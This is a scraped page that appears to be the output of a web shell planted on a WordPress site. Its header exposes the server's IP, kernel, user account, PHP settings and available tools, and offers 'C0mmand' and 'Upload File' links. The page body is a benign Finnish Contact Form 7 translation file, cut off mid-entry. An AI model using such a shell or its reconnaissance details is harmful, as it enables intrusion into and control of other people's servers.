|
Server IP : 10.131.40.8 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/guillaume/wp-admin/js/../../wp-content/languages/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Plugins - Contact Form 7 - Stable (latest release) in Finnish # This file is distributed under the same license as the Plugins - Contact Form 7 - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2023-03-24 02:55:17+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.4\n" "Language: fi\n" "Project-Id-Version: Plugins - Contact Form 7 - Stable (latest release)\n" #: includes/contact-form.php:523 includes/contact-form.php:1033 msgid "This contact form is available only for logged in users." msgstr "Yhteydenottolomake on saatavilla vain sisäänkirjautuneille käyttäjille." #: includes/config-validator.php:192 msgid "Deprecated settings are used." msgstr "Käytössä vanhentuneet asetukset." #. translators: %s: link labeled 'Really Simple CAPTCHA' #: modules/really-simple-captcha.php:36 msgid "To use CAPTCHA, you need %s plugin installed." msgstr "Käyttääksesi CAPTCHAa, täytyy lisäosan %s olla asennettuna." #. translators: %s: number of errors detected #: admin/includes/class-contact-forms-list-table.php:137 msgid "%s configuration error detected" msgid_plural "%s configuration errors detected" msgstr[0] "%s määrittelyvirhe löydetty" msgstr[1] "%s määrittelyvirhettä löydetty" #: includes/config-validator.php:180 msgid "There is a possible empty field." msgstr "Jokin kentistä saattaa olla tyhjä." #: includes/config-validator.php:186 msgid "HTML tags are used in a message." msgstr "Viestissä on käytetty HTML-avainsanoja." #: includes/rest-api.php:242 includes/rest-api.php:264 #: includes/rest-api.php:309 includes/rest-api.php:348 #: includes/rest-api.php:413 includes/rest-api.php:432 msgid "The requested contact form was not found." msgstr "Haluttua yhteydenottolomaketta ei löytynyt." #: includes/rest-api.php:318 msgid "There was an error deleting the contact form." msgstr "Yhteydenottolomakkeen poistamisessa tapahtui virhe." #: includes/rest-api.php:196 msgid "Cannot create existing contact form." msgstr "Yhteydenottolomake on jo olemassa." #: includes/rest-api.php:44 msgid "You are not allowed to create a contact form." msgstr "Käyttöoikeutesi eivät sisällä oikeutta yhteydenottolomakkeiden luomiseen." #: includes/rest-api.php:66 includes/rest-api.php:82 includes/rest-api.php:98 msgid "You are not allowed to access the requested contact form." msgstr "Käyttöoikeutesi eivät sisällä oikeutta tämän yhteydenottolomakkeen avaamiseen." #: includes/rest-api.php:30 msgid "You are not allowed to access contact forms." msgstr "Käyttöoikeutesi eivät sisällä oikeutta yhteydenottolomaikkeiden käsittelemiseen." #: includes/config-validator.php:894 msgid "Attachment file does not exist at %path%." msgstr "Liitetiedostoa ei ole kohteessa %path%." #: includes/config-validator.php:184 msgid "Sender email address does not belong to the site domain." msgstr "Lähettäjän sähköpostiosoite ei sisälly tämän sivuston sähköpostiosoitteisiin." #: includes/config-validator.php:182 msgid "Invalid mailbox syntax is used." msgstr "Sähköpostilaatikon määrittelyssä on virhe." #: includes/config-validator.php:190 msgid "There are invalid mail header fields." msgstr "Osa sähköpostin otsikkokentistä ei ole kelvollisia." #: includes/config-validator.php:751 msgid "Invalid mailbox syntax is used in the %name% field." msgstr "Sähköpostilaatikon nimi-kentässä (%name%) on virhe." #: admin/admin.php:153 msgid "%d configuration errors detected" msgstr "%d määrittelyvirhettä löydetty" #: admin/admin.php:152 msgid "1 configuration error detected" msgstr "1 määrittelyvirhe löydetty" #: admin/admin.php:569 includes/rest-api.php:208 includes/rest-api.php:275 msgid "There was an error saving the contact form." msgstr "Yhteydenottolomakkeen tallennuksessa tapahtui virhe." #: admin/admin.php:154 msgid "1 configuration error detected in this tab panel" msgstr "1 määrittelyvirhe löydetty tältä välilehdeltä" #: admin/admin.php:155 msgid "%d configuration errors detected in this tab panel" msgstr "%d määrittelyvirhettä löydetty tältä välilehdeltä" #: admin/includes/welcome-panel.php:126 msgid "Flamingo" msgstr "Flamingo" #: admin/includes/welcome-panel.php:68 msgid "https://contactform7.com/comment-blacklist/" msgstr "https://contactform7.com/comment-blacklist/" #: admin/includes/welcome-panel.php:114 msgid "Before you cry over spilt mail…" msgstr "Ennen kuin itket menetettyjä sähköposteja…" #. translators: %s: link labeled 'Flamingo' #: admin/includes/welcome-panel.php:123 msgid "Install a message storage plugin before this happens to you. %s saves all messages through contact forms into the database. Flamingo is a free WordPress plugin created by the same author as Contact Form 7." msgstr "Ennen kuin niin käy, asenna lisäosa, joka tallentaa viestit. %s tallentaa kaikki viestit yhteydenottolomakkeista tietokantaan. Flamingo on ilmainen WordPress-lisäosa, ja sen on tehnyt sama henkilö kuin Contact Form 7:n." #. translators: links labeled 1: 'Akismet', 2: 'reCAPTCHA', 3: 'disallowed #. list' #: admin/includes/welcome-panel.php:58 msgid "Contact Form 7 supports spam-filtering with %1$s. Intelligent %2$s blocks annoying spambots. Plus, using %3$s, you can block messages containing specified keywords or those sent from specified IP addresses." msgstr "Contact Form 7 tukee roskapostien suodattamista %1$s-lisäosalla. Älykäs %2$s estää ärsyttäviä, automaattisia roskapostiohjelmia käyttämästä lomakkeita. Lisäksi %3$s estää viestit, jotka sisältävät tiettyjä sanoja tai jotka on lähetetty tietyistä IP-osoitteista." #: admin/includes/welcome-panel.php:49 msgid "Getting spammed? You have protection." msgstr "Saatko roskapostia? Pystyt suojautumaan." #: includes/config-validator.php:188 msgid "Multiple form controls are in a single label element." msgstr "Nimielementti sisältää useampia kuin yhden lomake-elementin." #: admin/includes/config-validator.php:135 msgid "FAQ about Configuration Validator" msgstr "Usein kysyttyjä kysymyksiä rakennetarkistimesta" #: admin/includes/config-validator.php:134 msgid "https://contactform7.com/configuration-validator-faq/" msgstr "https://contactform7.com/configuration-validator-faq/" #: includes/file.php:101 msgid "There was an unknown error uploading the file." msgstr "Tiedoston palvelimelle siirtämisessä tapahtui tuntematon virhe." #: includes/file.php:106 msgid "You are not allowed to upload files of this type." msgstr "Et voi siirtää palvelimelle tämän lajista tiedostoa. Tarvitset laajemmat oikeudet." #: includes/file.php:116 msgid "There was an error uploading the file." msgstr "Tiedoston palvelimelle siirtämisessä tapahtui virhe." #: modules/quiz.php:201 msgid "The answer to the quiz is incorrect." msgstr "Annettu vastaus on väärä." #: admin/includes/config-validator.php:45 msgid "Validate Contact Form 7 Configuration" msgstr "Tarkasta Contact Form 7 -määritykset" #: admin/includes/config-validator.php:70 msgid "You are not allowed to validate configuration." msgstr "Et voi tarkastaa määrityksiä. Tarvitset laajemmat oikeudet." #: admin/includes/config-validator.php:124 msgid "Validate Configuration" msgstr "Tarkista määritykset" #. translators: 1: blog name, 2: [your-subject] #: includes/contact-form-template.php:52 includes/contact-form-template.php:96 msgctxt "mail subject" msgid "%1$s \"%2$s\"" msgstr "%1$s \"%2$s\"" #: admin/includes/config-validator.php:48 msgid "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now." msgstr "Virheelliset asetukset aiheuttavat viestien perillemenon epäonnistumisia ja muita ongelmia. Tarkista yhteydenottolomakkeesi nyt." #: includes/contact-form-template.php:180 msgid "One or more fields have an error. Please check and try again." msgstr "Yhdessä tai useammassa kentässä on virhe. Tarkista kentät ja yritä uudelleen." #: includes/contact-form-template.php:194 msgid "You must accept the terms and conditions before sending your message." msgstr "Sinun on hyväksyttävä käyttöehdot ennen viestin lähettämistä." #: includes/contact-form-template.php:173 #: includes/contact-form-template.php:187 msgid "There was an error trying to send your message. Please try again later." msgstr "Tapahtui virhe, kun viestiäsi yritettiin lähettää. Ole hyvä ja yritä myöhemmin uudelleen." #: includes/contact-form-template.php:166 msgid "Thank you for your message. It has been sent." msgstr "Kiitos viestistäsi. Se on lähetetty." #: admin/admin.php:600 msgid "Configuration validation completed. No invalid contact form was found." msgstr "Rakennetarkistus suoritettu. Epäkelpoja yhteydenottolomakkeita ei löytynyt." #: includes/config-validator.php:37 msgid "https://contactform7.com/configuration-errors/" msgstr "https://contactform7.com/configuration-errors/" #: modules/recaptcha/service.php:262 modules/sendinblue/service.php:141 #: modules/stripe/service.php:150 msgid "Settings saved." msgstr "Asetukset tallennettu." #: admin/includes/welcome-panel.php:65 admin/includes/welcome-panel.php:165 #: modules/recaptcha/service.php:29 msgid "reCAPTCHA" msgstr "reCAPTCHA" #: modules/recaptcha/service.php:310 msgid "Site Key" msgstr "Sivuston avain (Site key)" #: modules/recaptcha/service.php:327 modules/stripe/service.php:229 msgid "Secret Key" msgstr "Salausavain (Secret key)" #: modules/recaptcha/service.php:257 modules/sendinblue/service.php:134 #: modules/stripe/service.php:143 msgid "Invalid key values." msgstr "Epäkelvot avainten arvot" #: modules/really-simple-captcha.php:258 msgid "CAPTCHA (Really Simple CAPTCHA)" msgstr "CAPTCHA (Really Simple CAPTCHA)" #: admin/includes/welcome-panel.php:64 admin/includes/welcome-panel.php:164 #: modules/recaptcha/recaptcha.php:261 modules/recaptcha/service.php:276 msgid "https://contactform7.com/recaptcha/" msgstr "https://contactform7.com/recaptcha/" #: modules/file.php:181 msgid "Acceptable file types" msgstr "Hyväksytyt tiedostotyypit" #: admin/includes/welcome-panel.php:61 modules/akismet/service.php:22 #: modules/text.php:270 modules/text.php:273 msgid "Akismet" msgstr "Akismet" #: modules/really-simple-captcha.php:285 msgid "CAPTCHA" msgstr "CAPTCHA" #: includes/contact-form.php:50 msgid "Contact Form" msgstr "Yhteydenottolomake" #. translators: title of your first contact form. %d: number fixed to '1' #: load.php:188 msgid "Contact form %d" msgstr "Yhteydenottolomake %d" #: modules/date.php:161 msgid "Date format that the sender entered is invalid" msgstr "Lähettäjän syöttämä päivämäärän muoto on virheellinen" #: modules/date.php:166 msgid "Date is earlier than minimum limit" msgstr "Päivämäärä on minimirajaa aikaisempi" #: modules/date.php:171 msgid "Date is later than maximum limit" msgstr "Päivämäärä on maksimirajaa myöhäisempi" #: modules/date.php:219 modules/number.php:243 modules/text.php:263 #: modules/textarea.php:176 msgid "Default value" msgstr "Vakioarvo" #: modules/text.php:180 msgid "Email address that the sender entered is invalid" msgstr "Lähettäjän sähköpostiosoite on virheellinen" #. translators: %s: [your-name] [your-email] #: includes/contact-form-template.php:64 msgid "From: %s" msgstr "Lähettäjä: %s" #: modules/really-simple-captcha.php:302 msgid "Image settings" msgstr "Kuvan asetukset" #: modules/really-simple-captcha.php:317 msgid "Input field settings" msgstr "Syötekentän asetukset" #: modules/submit.php:65 msgid "Label" msgstr "Nimi" #: includes/contact-form-template.php:72 includes/contact-form-template.php:106 msgid "Message Body:" msgstr "Viesti: " #: modules/acceptance.php:264 modules/checkbox.php:259 modules/date.php:214 #: modules/file.php:171 modules/number.php:238 modules/quiz.php:235 #: modules/really-simple-captcha.php:295 modules/select.php:191 #: modules/text.php:258 modules/textarea.php:171 #: includes/block-editor/index.js:1 msgid "Name" msgstr "Nimi" #: modules/number.php:180 msgid "Number format that the sender entered is invalid" msgstr "Lähettäjän syöttämä luvun muoto on virheellinen" #: modules/number.php:190 msgid "Number is larger than maximum limit" msgstr "Luku on maksimirajaa suurempi" #: modules/number.php:185 msgid "Number is smaller than minimum limit" msgstr "Luku on minimirajaa pienempi" #: modules/quiz.php:225 msgid "Quiz" msgstr "Kysymys" #: modules/submit.php:26 msgid "Send" msgstr "Lähetä" #: includes/contact-form-template.php:171 msgid "Sender's message failed to send" msgstr "Viestin lähettäminen epäonnistui" #: includes/contact-form-template.php:164 msgid "Sender's message was sent successfully" msgstr "Viesti lähetettiin onnistuneesti." #. translators: %s: [your-subject] #: includes/contact-form-template.php:69 msgid "Subject: %s" msgstr "Aihe: %s" #: includes/contact-form-template.php:185 msgid "Submission was referred to as spam" msgstr "Vastaus on merkitty roskapostiksi" #: modules/text.php:194 msgid "Telephone number that the sender entered is invalid" msgstr "Lähettäjän syöttämä puhelinnumero on virheellinen" #: modules/really-simple-captcha.php:237 msgid "The code that sender entered does not match the CAPTCHA" msgstr "Koodi jonka lähettäjä kirjoitti ei matsaa CAPTCHAa" #: includes/contact-form-template.php:192 msgid "There are terms that the sender must accept" msgstr "Nämä ovat käyttöehdot, jotka lähettäjän täytyy hyväksyä" #: includes/contact-form-template.php:199 msgid "There is a field that the sender must fill in" msgstr "Lähettäjän täytyy täyttää lomakkeen kenttä" #: modules/really-simple-captcha.php:379 msgid "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server." msgstr "Tämä palautelomake sisältää CAPTCHA-kentän, mutta tarvittavia kirjastoja (GD ja FreeType) ei ole serverillä." #: modules/really-simple-captcha.php:372 msgid "This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually." msgstr "Tämä palautelomake sisältää CAPTCHA-kentän, mutta väliaikaiskansiota tiedostoille (%s) ei ole tai sinne ei voi kirjoittaa. Voit luoda kansion tai vaihtaa oikeudet manuaalisesti." #. translators: 1: blog name, 2: blog URL #: includes/contact-form-template.php:77 includes/contact-form-template.php:111 msgid "This e-mail was sent from a contact form on %1$s (%2$s)" msgstr "Tämä viesti on lähetetty palautelomakkeella %1$s (%2$s)" #: modules/text.php:288 msgid "This field requires author's URL" msgstr "Tämä kenttä vaatii kirjoittajan URL:n" #: modules/text.php:283 msgid "This field requires author's email address" msgstr "Tämä kenttä vaatii kirjoittajan sähköpostiosoitteen" #: modules/text.php:278 msgid "This field requires author's name" msgstr "Tämä kenttä vaatii kirjoittajan nimen" #: modules/text.php:214 msgid "URL" msgstr "URL-osoite" #: modules/text.php:187 msgid "URL that the sender entered is invalid" msgstr "Lähettäjän syöttämä URL-osoite on virheellinen" #: includes/contact-form.php:112 includes/contact-form.php:431 msgid "Untitled" msgstr "Ei otsikkoa" #: includes/file.php:105 msgid "Uploaded file is not allowed for file type" msgstr "Ladattu tiedosto ei ole sallittua tiedostotyyppiä" #: includes/file.php:110 msgid "Uploaded file is too large" msgstr "Ladattu tiedosto on liian suuri" #: includes/file.php:115 msgid "Uploading a file fails for PHP error" msgstr "Tiedoston lataaminen epäonnistui PHP-virheen vuoksi" #: includes/file.php:100 msgid "Uploading a file fails for any reason" msgstr "Tiedoston lataaminen epäonnistuu jostain syystä" #: includes/contact-form-template.php:178 msgid "Validation errors occurred" msgstr "Viestissä virheitä" #: modules/really-simple-captcha.php:239 msgid "Your entered code is incorrect." msgstr "Syöttämäsi koodi on virheellinen." #: modules/text.php:210 msgid "text" msgstr "teksti" #: modules/checkbox.php:252 modules/date.php:208 modules/file.php:165 #: modules/number.php:232 modules/select.php:185 modules/text.php:252 #: modules/textarea.php:165 msgid "Required field" msgstr "Pakollinen kenttä" #: modules/text.php:212 msgid "email" msgstr "sähköposti" #: modules/text.php:216 msgid "tel" msgstr "puh" #: admin/includes/help-tabs.php:16 admin/includes/help-tabs.php:32 #: admin/includes/help-tabs.php:54 msgid "Overview" msgstr "Yleiskatsaus" #: modules/file.php:141 msgid "file" msgstr "tiedosto" #: modules/submit.php:46 msgid "submit" msgstr "lähetä" #: modules/date.php:184 msgid "date" msgstr "päivämäärä" #: modules/textarea.php:141 msgid "text area" msgstr "tekstialue" #: modules/select.php:162 msgid "drop-down menu" msgstr "pudotusvalikko" #: admin/includes/help-tabs.php:97 msgid "For more information:" msgstr "Lisätietoa:" #: admin/includes/help-tabs.php:89 msgid "Any information you provide will not be shared with service providers without your authorization." msgstr "Mitään tietoa, jonka annat, ei jaeta palveluntarjoajien kanssa ilman hyväksyntääsi." #: modules/acceptance.php:274 modules/acceptance.php:277 #: modules/checkbox.php:264 modules/checkbox.php:267 modules/select.php:196 #: modules/select.php:199 msgid "Options" msgstr "Asetukset" #: modules/quiz.php:240 modules/quiz.php:243 msgid "Questions and answers" msgstr "Kysymykset ja vastaukset" #: modules/select.php:202 msgid "Allow multiple selections" msgstr "Salli useampi valinta" #: modules/date.php:235 modules/number.php:259 msgid "Max" msgstr "Maksimi" #: modules/date.php:230 modules/number.php:254 msgid "Min" msgstr "Minimi" #: admin/includes/help-tabs.php:22 msgid "Available Actions" msgstr "Käytössä olevat toiminnot" #: modules/number.php:203 msgid "number" msgstr "numero" #. Description of the plugin msgid "Just another contact form plugin. Simple but flexible." msgstr "Taas yksi yhteydenottolomake-lisäosa. Yksinkertainen, mutta joustava." #: admin/includes/help-tabs.php:78 msgid "In <strong>Messages</strong>, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank." msgstr "<strong>Viestit</strong>-välilehdellä voit muokata erilaisia ilmoituksia, joita käytetään tällä yhteydenottolomakkeella. Nämä ilmoitukset ovat suhteellisen lyhyitä, kuten tarkistuksesta annettava virheilmoitus, jonka näet, kun jätät pakollisen kentän tyhjäksi." #: admin/includes/help-tabs.php:79 msgid "<strong>Additional Settings</strong> provides a place where you can customize the behavior of this contact form by adding code snippets." msgstr "<strong>Lisäasetukset</strong>-välilehdellä voit muokata tämän yhteydenottolomakkeen toimintaa lisäämällä koodinpätkiä." #: admin/includes/help-tabs.php:84 msgid "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag." msgstr "Myös sähköpostielementti on lyhyt, hakasulkeissa oleva koodi, jota voit käyttää jokaisessa Sähköposti- ja Sähköposti (2) -kentässä. Sähköpostielementti edustaa sitä vastaavan lomake-elementin arvoa, jonka käyttäjä on antanut kirjoituskenttään." #: admin/includes/help-tabs.php:87 msgid "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available." msgstr "Tällä näytöllä voit hallinnoida Contact Form 7:n käytössä olevia palveluita. Rajapinnan/API käyttö mahdollistaa sen, että voit hyödyntää kaikkia saatavilla olevia palveluita." #: admin/includes/help-tabs.php:81 msgid "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields." msgstr "Lomake-elementti on lyhyt, hakasulkeissa oleva koodi, jota käytetään lomakkeessa. Yleensä lomake-elementti edustaa kirjoituskenttää, ja sen sisältö voidaan jakaa neljään osaan: laji, nimi, valintavaihtoehdot ja arvot. Contact Form 7 tukee useita erilaisia lomake-elementtejä, kuten tekstikenttiä, numerokenttiä, päivämääräkenttiä, valintaruutuja, valintanappeja, valikoita, tiedoston palvelimelle siirtokenttiä, roskapostin estokenttiä ja kyselykenttiä." #: admin/includes/help-tabs.php:88 msgid "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account." msgstr "Voit mahdollisesti joutua ensin luomaan käyttäjätilin siihen palveluun, jota aiot käyttää. Kun teet niin, sinun on valtuutettava Contact Form 7 käyttämään palvelua sinun tilitiedoillasi." #. translators: %s: title of form-tag like 'email' or 'checkboxes' #: admin/includes/tag-generator.php:46 msgid "Form-tag Generator: %s" msgstr "Lomake-elementtigeneraattori: %s" #: includes/contact-form.php:224 msgid "<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead." msgstr "<code>WPCF7_ContactForm</code>-objektin <code>%1$s</code>-ominaisuus <strong>ei ole enää käytettävissä</strong>. Käytä sen sijaan <code>%2$s</code>-metodia." #: modules/acceptance.php:244 msgid "acceptance" msgstr "hyväksyntä" #: modules/acceptance.php:252 msgid "Generate a form-tag for an acceptance checkbox. For more details, see %s." msgstr "Tee lomake-elementti hyväksyntä-valintaruutua varten. Jos tarvitset lisätietoja, katso %s." #: modules/acceptance.php:302 modules/checkbox.php:298 modules/date.php:260 #: modules/file.php:204 modules/number.php:284 modules/quiz.php:269 #: modules/really-simple-captcha.php:337 modules/select.php:227 #: modules/submit.php:88 modules/text.php:316 modules/textarea.php:200 msgid "Insert Tag" msgstr "Lisää elementti" #: modules/checkbox.php:217 msgid "checkboxes" msgstr "valintaruudut" #: modules/checkbox.php:219 msgid "radio buttons" msgstr "valintanapit" #: modules/checkbox.php:232 msgid "Generate a form-tag for a group of checkboxes. For more details, see %s." msgstr "Tee lomake-elementti valintaruuturyhmää varten. Jos tarvitset lisätietoja, katso %s." #: modules/checkbox.php:234 msgid "Generate a form-tag for a group of radio buttons. For more details, see %s." msgstr "Tee lomake-elementti valintanappiryhmää varten. Jos tarvitset lisätietoja, katso %s." #: modules/checkbox.php:248 modules/checkbox.php:251 modules/date.php:204 #: modules/date.php:207 modules/file.php:161 modules/file.php:164 #: modules/number.php:223 modules/number.php:226 modules/select.php:181 #: modules/select.php:184 modules/text.php:248 modules/text.php:251 #: modules/textarea.php:161 modules/textarea.php:164 msgid "Field type" msgstr "Kentän laji" #: modules/checkbox.php:270 msgid "Put a label first, a checkbox last" msgstr "Laita nimi ensimmäiseksi, valintaruutu viimeiseksi" #: modules/checkbox.php:303 modules/date.php:265 modules/number.php:289 #: modules/select.php:232 modules/text.php:321 modules/textarea.php:205 msgid "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab." msgstr "Jotta voit käyttää tähän kentään kirjoitettua arvoa sähköpostikentässä, sinun on lisättävä vastaava sähköpostielementti (%s) kenttään Sähköposti-välilehdellä." #: modules/date.php:192 msgid "Generate a form-tag for a date input field. For more details, see %s." msgstr "Tee lomake-elementti päivämäärän kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/file.php:149 msgid "Generate a form-tag for a file uploading field. For more details, see %s." msgstr "Tee lomake-elementti tiedoston palvelimelle siirtokenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/file.php:209 msgid "To attach the file uploaded through this field to mail, you need to insert the corresponding mail-tag (%s) into the File Attachments field on the Mail tab." msgstr "Jotta voit liittää tämän kentän kautta ladatun tiedoston sähköpostin liitetiedostoksi, sinun on lisättävä vastaava sähköpostielementti (%s) Tiedostoliitteet-kenttään Sähköposti-välilehdellä." #: modules/number.php:211 msgid "Generate a form-tag for a field for numeric value input. For more details, see %s." msgstr "Tee lomake-elementti numeerisen arvon kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/date.php:225 modules/date.php:228 modules/number.php:249 #: modules/number.php:252 msgid "Range" msgstr "Arvojen rajaaminen" #: modules/number.php:228 msgid "Spinbox" msgstr "Askellusruutu" #: modules/number.php:229 msgid "Slider" msgstr "Liukusäädin" #: modules/quiz.php:215 msgid "quiz" msgstr "kysely" #: modules/quiz.php:223 msgid "Generate a form-tag for a question-answer pair. For more details, see %s." msgstr "Tee lomake-elementti kysymys-vastaus -paria varten. Jos tarvitset lisätietoja, katso %s." #: modules/really-simple-captcha.php:283 msgid "Generate form-tags for a CAPTCHA image and corresponding response input field. For more details, see %s." msgstr "Tee lomake-elementit roskapostin estokuvaa ja vastaavaa vastauskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/select.php:169 msgid "Generate a form-tag for a drop-down menu. For more details, see %s." msgstr "Tee lomake-elementti pudotusvalikkoa varten. Jos tarvitset lisätietoja, katso %s." #: modules/submit.php:53 msgid "Generate a form-tag for a submit button. For more details, see %s." msgstr "Tee lomake-elementti lähetyspainiketta varten. Jos tarvitset lisätietoja, katso %s." #: modules/select.php:203 msgid "Insert a blank item as the first option" msgstr "Lisää ensimmäiseksi vaihtoehdoksi tyhjä." #: modules/text.php:229 msgid "Generate a form-tag for a single-line plain text input field. For more details, see %s." msgstr "Tee lomake-elementti yksirivistä tekstikirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/text.php:231 msgid "Generate a form-tag for a single-line email address input field. For more details, see %s." msgstr "Tee lomake-elementti yksirivistä sähköpostiosoitteen kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/text.php:233 msgid "Generate a form-tag for a single-line URL input field. For more details, see %s." msgstr "Tee lomake-elementti yksirivistä verkko-osoitteen/URL kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/text.php:235 msgid "Generate a form-tag for a single-line telephone number input field. For more details, see %s." msgstr "Tee lomake-elementti yksirivistä puhelinnumeron kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #: modules/textarea.php:149 msgid "Generate a form-tag for a multi-line text input field. For more details, see %s." msgstr "Tee lomake-elementti monirivisen tekstin kirjoituskenttää varten. Jos tarvitset lisätietoja, katso %s." #. Author of the plugin msgid "Takayuki Miyoshi" msgstr "Takayuki Miyoshi" #: modules/quiz.php:245 msgid "One pipe-separated question-answer pair (e.g. The capital of Brazil?|Rio) per line." msgstr "Yksi pystyviivalla erotettu kysymys-vastaus -pari (esim. Brasilian pääkaupunki?|Rio) kullekin riville." #: modules/checkbox.php:269 modules/select.php:201 msgid "One option per line." msgstr "Yksi vaihtoehto kullekin riville." #: modules/date.php:221 modules/number.php:245 modules/text.php:265 #: modules/textarea.php:178 msgid "Use this text as the placeholder of the field" msgstr "Käytä tätä tekstiä kentän paikanvaraajana." #: modules/checkbox.php:273 msgid "Make checkboxes exclusive" msgstr "Muuta valintaruudut toimimaan poissulkevasti" #: modules/checkbox.php:271 msgid "Wrap each item with label element" msgstr "Aseta jokainen ruutu nimielementin sisään" #: admin/includes/help-tabs.php:38 msgid "Form-tags" msgstr "Lomake-elementit" #: admin/includes/help-tabs.php:44 msgid "Mail-tags" msgstr "Sähköpostielementit" #: admin/includes/editor.php:253 msgid "You can add customization code snippets here. For details, see %s." msgstr "Voit lisätä omia koodinpätkiä tänne. Lisätietoja: %s." #: admin/includes/help-tabs.php:67 msgid "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target." msgstr "Tällä näytöllä voit hallinnoida Contact Form 7:llä tehtyjä yhteydenottolomakkeita. Lomakkeiden määrää ei ole rajattu. Jokaisella yhteydenottolomakkeella on yksilöllinen ID ja Contact Form 7 -lyhytkoodi ([contact-form-7 ...]). Lisää yhteydenottolomake artikkeliin tai tekstivimpaimeen lisäämällä lyhytkoodi kohteeseen." #: admin/includes/help-tabs.php:69 msgid "Hovering over a row in the contact forms list will display action links that allow you to manage your contact form. You can perform the following actions:" msgstr "Viemällä hiiren kohdistimenjonkin lomakeluettelossa olevan rivin päälle näkyviin tulee toimintolinkkejä, joiden avulla voit ylläpitää yhteydenottolomakettasi. Voit tehdä seuraavaa:" #: admin/includes/help-tabs.php:71 msgid "<strong>Duplicate</strong> - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID." msgstr "<strong>Monista</strong> - Luo kyseisestä lomakkeesta kopion. Kopio on sisällöltään sama kuin alkuperäinen lomake, mutta sillä on eri tunnus/ID." #: admin/includes/help-tabs.php:70 msgid "<strong>Edit</strong> - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title." msgstr "<strong>Muokkaa</strong> - Siirtymä kyseisen lomakkeen muokkausnäkymään. Pääset samaan näkymään myös klikkaamalla yhteydenottolomakkeen otsikkoa." #: admin/includes/help-tabs.php:74 msgid "<strong>Title</strong> is the title of a contact form. This title is only used for labeling a contact form, and can be edited." msgstr "<strong>Otsikko</strong> on yhteydenottolomakkeen otsikko. Otsikkoa käytetään vain lomakkeen nimeämiseen, ja sitä voi muuttaa." #: admin/includes/help-tabs.php:75 msgid "<strong>Form</strong> is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7’s form-tags here." msgstr "<strong>Lomake</strong> on HTML-lomakkeen sisältö. Voit käyttää vapaavalintaista HTML:ää, joka on sallittua lomakkeen elementin sisällä. Voit myös käyttää täällä Contact Form 7:n lomake-elementtejä." #: admin/includes/help-tabs.php:76 msgid "<strong>Mail</strong> manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7’s mail-tags here." msgstr "<strong>Sähköposti</strong> hallinnoi sähköpostiviestiä (otsikoita ja itse viestiä), joka lähetetään, kun käyttäjät lähettävät viestejä tällä yhteydenottolomakkeella. Voit käyttää täällä Contact Form 7:n sähköpostielementtejä." #: admin/includes/help-tabs.php:77 msgid "<strong>Mail (2)</strong> is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully." msgstr "<strong>Sähköposti (2)</strong> on toinen sähköpostiviestipohja, ja se toimii samoin kuin Sähköposti. Sähköposti (2) eroaa Sähköpostista siten, että Sähköposti (2) lähetetään vain silloin, kun Sähköpostin lähettäminen on onnistunut." #: admin/includes/help-tabs.php:73 msgid "On this screen, you can edit a contact form. A contact form is comprised of the following components:" msgstr "Tässä näytössä voit muokata yhteydenottolomaketta. Lomake muodostuu seuraavista osista:" #: includes/contact-form-template.php:206 msgid "There is a field with input that is longer than the maximum allowed length" msgstr "Yhdessä kentässä vastaus on pidempi, kuin suurin sallittu vastauksen pituus." #: includes/contact-form-template.php:213 msgid "There is a field with input that is shorter than the minimum allowed length" msgstr "Yhdessä kentässä vastaus on lyhyempi, kuin lyhyin sallittu vastauksen pituus." #: modules/acceptance.php:284 modules/checkbox.php:280 modules/date.php:243 #: modules/file.php:186 modules/number.php:267 modules/quiz.php:251 #: modules/really-simple-captcha.php:305 modules/really-simple-captcha.php:320 #: modules/select.php:209 modules/submit.php:70 modules/text.php:298 #: modules/textarea.php:182 msgid "Id attribute" msgstr "id-attribuutti" #: modules/acceptance.php:289 modules/checkbox.php:285 